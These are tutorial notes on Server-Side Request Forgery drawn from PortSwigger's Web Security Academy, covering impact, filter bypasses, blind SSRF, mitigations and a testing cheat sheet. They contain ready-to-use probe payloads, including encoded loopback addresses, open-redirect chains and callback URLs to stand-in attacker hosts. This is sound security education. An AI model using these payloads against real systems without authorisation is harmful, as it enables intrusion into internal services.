

Server-Side Request Forgery (SSRF)

Reference: PortSwigger Web Security Academy – SSRF

URL: <https://portswigger.net/web-security/ssrf>

1. What is Server-Side Request Forgery (SSRF)?

Server-Side Request Forgery (SSRF) is a web security vulnerability in which an attacker can abuse functionality on a server to make the server send HTTP requests to arbitrary domains (including internal services) on behalf of the attacker.

In an SSRF attack, the attacker controls the URL or destination of a request that the server performs. Because the request is made by the server, it may bypass firewall restrictions and reach internal or protected resources.

Key characteristics of SSRF:

- Requests originate from the vulnerable server
- The attacker influences the destination of the request
- Responses may be visible to the attacker (classic SSRF) or not (blind SSRF)

SSRF arises when an application fetches remote resources (e.g., images, webhooks, URLs) based on user-supplied input without proper validation.

2. Impact of SSRF Attacks

The impact of SSRF can vary widely depending on the environment and internal network structure.

2.1 Sensitive Internal Resources Access

Attackers may leverage SSRF to access internal services that are not exposed to the public internet, such as:

- Internal APIs
- Metadata endpoints (e.g., cloud provider metadata services)

- Admin panels
- Database endpoints

2.2 Exploitation of Trust Relationships

The server may have privileged access to internal systems and services. SSRF can be used to pivot from a public web application into a private network.

2.3 Data Exfiltration and Discovery

SSRF can be used to:

- Retrieve sensitive internal data
- Enumerate internal network services
- Map internal infrastructure

2.4 Triggering Back-End Actions

Some SSRF flaws allow attackers to trigger actions within internal systems that can have high impact, such as initiating processes, performing unauthorized API calls, or triggering backups.

3. Common SSRF Attacks

SSRF attacks can be broadly categorized based on the **target of the forged request**.

3.1 SSRF Attacks Against the Server Itself

These attacks target resources within the same server or host environment, for example:

- Localhost (127.0.0.1)
- UNIX socket endpoints
- Internal applications on nonstandard ports

Example

An application accepts a URL and fetches it:

```
http://vulnerable-site.com/fetch?url=http://example.com
```

An attacker modifies the URL parameter:

```
/fetch?url=http://127.0.0.1/admin
```

If the server makes a request to 127.0.0.1, sensitive internal interfaces can be probed.

3.2 SSRF Attacks Against Other Back-End Systems

The server may have internal API access to other systems (e.g., internal CRM, database web interfaces, cloud services). For example:

```
/fetch?url=https://internal-api.company.local/data
```

This allows exfiltration or action triggering on internal services.

4. Circumventing Common SSRF Defenses

Many SSRF defenses employ input filtering or allow-lists. Understanding how to bypass them is crucial for effective testing.

4.1 SSRF with Blacklist-Based Input Filters

Blacklisting filters deny known bad characters or strings, e.g., "127.0.0.1", "localhost".

Blacklisting is fragile because attackers can use alternative formats to represent the same address.

Example

Bypassing 127.0.0.1 filters using decimal or hexadecimal IP representations:

```
2130706433  
0x7f000001
```

These still resolve to localhost.

4.2 SSRF with Whitelist-Based Input Filters

Whitelist filters allow only specific domains or schemes. Bypasses involve exploiting trusting logic or subdomain rules.

Example

Whitelist:

```
Allowed domains: *.example.com
```

But if the filter only checks that the URL **contains** "example.com," this can be bypassed:

```
http://example.com.attacker.com/
```

Because the substring "example.com" appears, a naive filter may allow it.

4.3 Bypassing SSRF Filters via Open Redirection

If a trusted site owned by the target application supports open redirection, an attacker can use it as a redirector to arbitrary URLs.

Example

If:

```
https://trusted.example.com/redirect?to=http://attacker.com
```

Then using:

```
/fetch?url=https://trusted.example.com/redirect?to=http://internal
```

The server fetches the redirecting URL and ends up requesting the internal resource.

5. Blind SSRF Vulnerabilities

In some SSRF cases, the server does not return the response content to the user. These are known as **blind SSRF** flaws. They can still be dangerous and exploitable through side-channel observations such as timing, DNS interactions, error responses, or induced out-of-band requests.

Example

Testing blind SSRF via DNS callback services (e.g., `attacker-controlled.com`):

```
/fetch?url=http://attacker-dns.com
```

If the server resolves and requests the URL, an DNS lookup (or HTTP request) will appear on the attacker's side, confirming SSRF.

6. Finding Hidden Attack Surface for SSRF

SSRF attack surface is not always obvious. Common hidden vectors include:

6.1 Partial URLs in Requests

Some functionality accepts **partial URLs** such as paths or resource identifiers that are later concatenated with server policies.

Example:

```
/fetch?path=/api/data
```

If concatenated incorrectly, this may result in internal requests.

6.2 URLs Within Data Formats

Applications may parse URLs out of structured data like JSON or XML, leading to SSRF when a URL value is processed server-side.

Example:

```
payload: {"callback":"http://example.com"}
```

If the server reads this and makes a request, SSRF applies.

6.3 SSRF via the Referer Header

Certain functionality may trust the **Referer header** to fetch resources. Manipulating the Referer, especially where it influences internal logic, can cause SSRF behaviors.

Example:

```
Referer: http://attacker.com
```

If the server uses the Referer to fetch related content, SSRF can be induced.

7. SSRF Payload Examples and Working

7.1 Basic SSRF

```
/fetch?url=http://127.0.0.1:8000
```

This instructs the server to make a local request.

7.2 IPv4 Representation Bypass

```
/fetch?url=http://2130706433
```

7.3 IPv6 Loopback

```
/fetch?url=http://[::1]
```

7.4 Protocol Prefix Abuse

```
/fetch?url=//localhost:8000
```

If the server prepends "http:" in a naive way, the double slash still points to localhost.

7.5 Open Redirection SSRF

```
/fetch?url=https://trusted.example.com/redirect?to=http://internal.local/admin
```

7.6 Blind SSRF (Callback)

```
/fetch?url=http://uniqueid.attacker-callback.com
```

If a DNS request or HTTP request appears in logs, SSRF is triggered.

8. SSRF Exploitation and Mitigations

8.1 Input Validation

Avoid naive allowlists or blacklists. Ensure URLs are:

- Properly parsed
- Compared against trusted hosts
- Evaluated for resolved IP ranges

8.2 Deny Internal Address Spaces

Disallow access to:

- 127.0.0.1/8
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
- IPv6 loopbacks
- Internally routable ranges

8.3 DNS Resolution Validation

Validate that resolved IP addresses do not map to restricted networks.

8.4 Safe Proxying

If external URLs must be fetched, use a safe proxy that filters destinations.

8.5 Auth Boundaries

Ensure that server-side requests do not inadvertently have access to higher privileges.

9. SSRF Testing Cheat Sheet

Test Basic SSRF

```
?url=http://127.0.0.1
```

IPv4 Alternate Formats

```
?url=http://2130706433
```

```
?url=http://0x7f000001
```

IPv6 Loopback

```
?url=http://[::1]
```

Protocol Prefix Variants

```
?url=//localhost:8000
```

Hostname Variants

```
localhost.  
127.1
```

Open Redirection Abuse

```
?url=https://trusted.com/redirect?to=http://internal.local
```

Blind SSRF Callback

```
?url=http://<unique>.attacker-callback.com
```

Referer-based SSRF Testing

```
Referer: http://attacker.com
```

Partial URL SSRF

```
?path=/internal/admin
```

JSON/Body URL Parameter

```
{"callback":"http://attacker.com"}
```

10. Summary

Server-Side Request Forgery (SSRF) is a critical web vulnerability that enables attackers to make the server perform arbitrary requests. It can lead to exposure of internal systems, data exfiltration, unauthorized access to back-end services, and bypasses of security boundaries.

SSRF defenses such as blacklist filters are fragile and easily bypassable. Proper mitigation requires rigorous hostname and IP validation, DNS resolution checks, and robust server-side verification. Blind SSRF increases the attack surface, making indirect testing techniques essential.

Careful analysis of all URL accepting functionality is required to ensure that untrusted input does not trigger unintended server-side requests.
